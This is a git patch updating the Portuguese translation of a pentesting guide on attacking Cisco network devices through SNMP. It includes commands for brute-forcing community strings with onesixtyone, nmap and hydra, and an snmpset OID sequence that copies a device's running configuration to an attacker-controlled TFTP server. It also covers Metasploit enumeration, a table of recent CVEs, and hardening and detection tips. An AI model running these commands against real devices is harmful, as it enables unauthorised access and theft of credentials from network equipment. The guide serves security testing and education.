From c887b94092f7adfcf16c3ac06c5ce156f51c92b0 Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 20 Aug 2025 10:16:27 +0000 Subject: [PATCH] Translated ['src/network-services-pentesting/pentesting-snmp/cisco-snmp. --- .../pentesting-snmp/cisco-snmp.md | 102 ++++++++++++++---- 1 file changed, 80 insertions(+), 22 deletions(-) diff --git a/src/network-services-pentesting/pentesting-snmp/cisco-snmp.md b/src/network-services-pentesting/pentesting-snmp/cisco-snmp.md index b4c6513e8..9ffee5cc2 100644 --- a/src/network-services-pentesting/pentesting-snmp/cisco-snmp.md +++ b/src/network-services-pentesting/pentesting-snmp/cisco-snmp.md @@ -4,34 +4,92 @@ ## Pentesting Cisco Networks -**SNMP** funciona sobre UDP com as portas 161/UDP para mensagens gerais e 162/UDP para mensagens de trap. Este protocolo depende de strings de comunidade, que servem como senhas que permitem a comunicação entre agentes SNMP e servidores. Essas strings são fundamentais, pois determinam os níveis de acesso, especificamente **permissões de somente leitura (RO) ou leitura e gravação (RW)**. Um vetor de ataque notável para pentesters é a **força bruta de strings de comunidade**, visando infiltrar dispositivos de rede. +**SNMP** funciona sobre UDP com as portas **161/UDP** para mensagens gerais e **162/UDP** para mensagens de trap. Este protocolo depende de *strings de comunidade*, que servem como "senhas" em texto simples que permitem a comunicação entre agentes e gerentes SNMP. Essas strings determinam o nível de acesso, especificamente **permissões de somente leitura (RO) ou leitura e gravação (RW)**. -Uma ferramenta prática para executar tais ataques de força bruta é [**onesixtyone**](https://github.com/trailofbits/onesixtyone), que necessita de uma lista de possíveis strings de comunidade e os endereços IP dos alvos: +Um vetor de ataque clássico—mas ainda extremamente eficaz—é **forçar strings de comunidade** para elevar de usuário não autenticado a administrador do dispositivo (comunidade RW). Uma ferramenta prática para essa tarefa é [**onesixtyone**](https://github.com/trailofbits/onesixtyone): ```bash -onesixtyone -c communitystrings -i targets +onesixtyone -c community_strings.txt -i targets.txt ``` -#### `cisco_config_tftp` - -O framework Metasploit possui o módulo `cisco_config_tftp`, facilitando a extração de configurações de dispositivos, dependendo da obtenção de uma string de comunidade RW. Os parâmetros essenciais para esta operação incluem: - -- String de comunidade RW (**COMMUNITY**) -- IP do atacante (**LHOST**) -- IP do dispositivo alvo (**RHOSTS**) -- Caminho de destino para os arquivos de configuração (**OUTPUTDIR**) - -Após a configuração, este módulo permite o download das configurações do dispositivo diretamente para uma pasta especificada. - -#### `snmp_enum` - -Outro módulo do Metasploit, **`snmp_enum`**, especializa-se em coletar informações detalhadas de hardware. Ele opera com qualquer tipo de string de comunidade e requer o endereço IP do alvo para execução bem-sucedida: +Outras opções rápidas são o script NSE do Nmap `snmp-brute` ou o módulo SNMP do Hydra: ```bash -msf6 auxiliary(scanner/snmp/snmp_enum) > set COMMUNITY public -msf6 auxiliary(scanner/snmp/snmp_enum) > set RHOSTS 10.10.100.10 -msf6 auxiliary(scanner/snmp/snmp_enum) > exploit +nmap -sU -p161 --script snmp-brute --script-args brute.community=wordlist 10.0.0.0/24 +hydra -P wordlist.txt -s 161 10.10.10.1 snmp ``` +--- + +### Dumping configuration through SNMP (CISCO-CONFIG-COPY-MIB) +Se você obtiver uma **comunidade RW**, pode copiar a running-config/startup-config para um servidor TFTP/FTP *sem acesso CLI* abusando do CISCO-CONFIG-COPY-MIB (`1.3.6.1.4.1.9.9.96`). Duas abordagens comuns são: + +1. **Nmap NSE – `snmp-ios-config`** +```bash +nmap -sU -p161 --script snmp-ios-config \ +--script-args creds.snmp=private 192.168.66.1 +``` +O script orquestra automaticamente a operação de cópia e imprime a configuração no stdout. + +2. **Sequência manual `snmpset`** +```bash +# Copy running-config (4) to a TFTP server (1) – random row id 1234 +snmpset -v2c -c private 192.168.66.1 \ +1.3.6.1.4.1.9.9.96.1.1.1.1.2.1234 i 1 \ # protocol = tftp +1.3.6.1.4.1.9.9.96.1.1.1.1.3.1234 i 4 \ # sourceFileType = runningConfig +1.3.6.1.4.1.9.9.96.1.1.1.1.4.1234 i 1 \ # destFileType = networkFile +1.3.6.1.4.1.9.9.96.1.1.1.1.5.1234 a 10.10.14.8 \ # TFTP server IP +1.3.6.1.4.1.9.9.96.1.1.1.1.6.1234 s \"backup.cfg\" \\ +1.3.6.1.4.1.9.9.96.1.1.1.1.14.1234 i 4 # rowStatus = createAndGo +``` +Identificadores de linha são *one-shot*; reutilizar dentro de cinco minutos aciona erros `inconsistentValue`. + +Uma vez que o arquivo está no seu servidor TFTP, você pode inspecionar credenciais (`enable secret`, `username secret`, etc.) ou até mesmo enviar uma configuração modificada de volta para o dispositivo. + +--- + +### Recursos do Metasploit + +* **`cisco_config_tftp`** – baixa running-config/startup-config via TFTP após abusar do mesmo MIB. +* **`snmp_enum`** – coleta informações de inventário do dispositivo, VLANs, descrições de interface, tabelas ARP, etc. +```bash +use auxiliary/scanner/snmp/snmp_enum +set RHOSTS 10.10.100.10 +set COMMUNITY public +run +``` +--- + +## Vulnerabilidades recentes do Cisco SNMP (2023 – 2025) +Acompanhar os avisos dos fornecedores é útil para identificar oportunidades de *zero-day-to-n-day* dentro de um engajamento: + +| Ano | CVE | Recurso afetado | Impacto | +|-----|-----|-----------------|---------| +| 2025 | CVE-2025-20174 | Subsistema SNMP | Pacote elaborado leva a *DoS* autenticado (reload) no IOS/IOS-XE (v1/v2c/v3). | +| 2024 | CVE-2024-20373 | Manipulação de ACL IPv4 | ACLs **estendidas** mal configuradas falham silenciosamente, permitindo polling SNMP não autenticado quando uma comunidade/usuário válido é conhecido. | +| 2025 | (sem CVE ainda) | Bypass de restrição de configuração do SNMPv3 | Usuário v3 válido pode fazer polling de endereços que deveriam ser negados. | + +A explorabilidade muitas vezes ainda depende de possuir a string da comunidade ou credenciais v3—outra razão pela qual a força bruta continua relevante. + +--- + +## Dicas de Fortalecimento e Detecção + +* Atualize para uma versão fixa do IOS/IOS-XE (veja o aviso da Cisco para o CVE acima). +* Prefira **SNMPv3** com `authPriv` (SHA-256/AES-256) em vez de v1/v2c. +``` +snmp-server group SECURE v3 priv +snmp-server user monitor SECURE v3 auth sha priv aes 256 +``` +* Vincule o SNMP a um VRF de gerenciamento e **restrinja com ACLs IPv4 numeradas *padrão*** (ACLs nomeadas estendidas são arriscadas – CVE-2024-20373). +* Desative **comunidades RW**; se operacionalmente necessário, limite-as com ACL e views: +`snmp-server community RW 99 view SysView` +* Monitore por: +- Picos de UDP/161 ou fontes inesperadas (regras SIEM). +- Eventos `CISCO-CONFIG-MAN-MIB::ccmHistoryEventConfigSource` indicando alterações de configuração fora de banda. +* Ative **logging do SNMPv3** e `snmp-server packetsize 1500` para reduzir certos vetores de DoS. + +--- + ## Referências -- [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9) - +- Cisco: *Como Copiar Configurações Para e De Dispositivos Cisco Usando SNMP* +- Aviso de Segurança da Cisco *cisco-sa-snmp-uwBXfqww* (CVE-2024-20373) {{#include ../../banners/hacktricks-training.md}}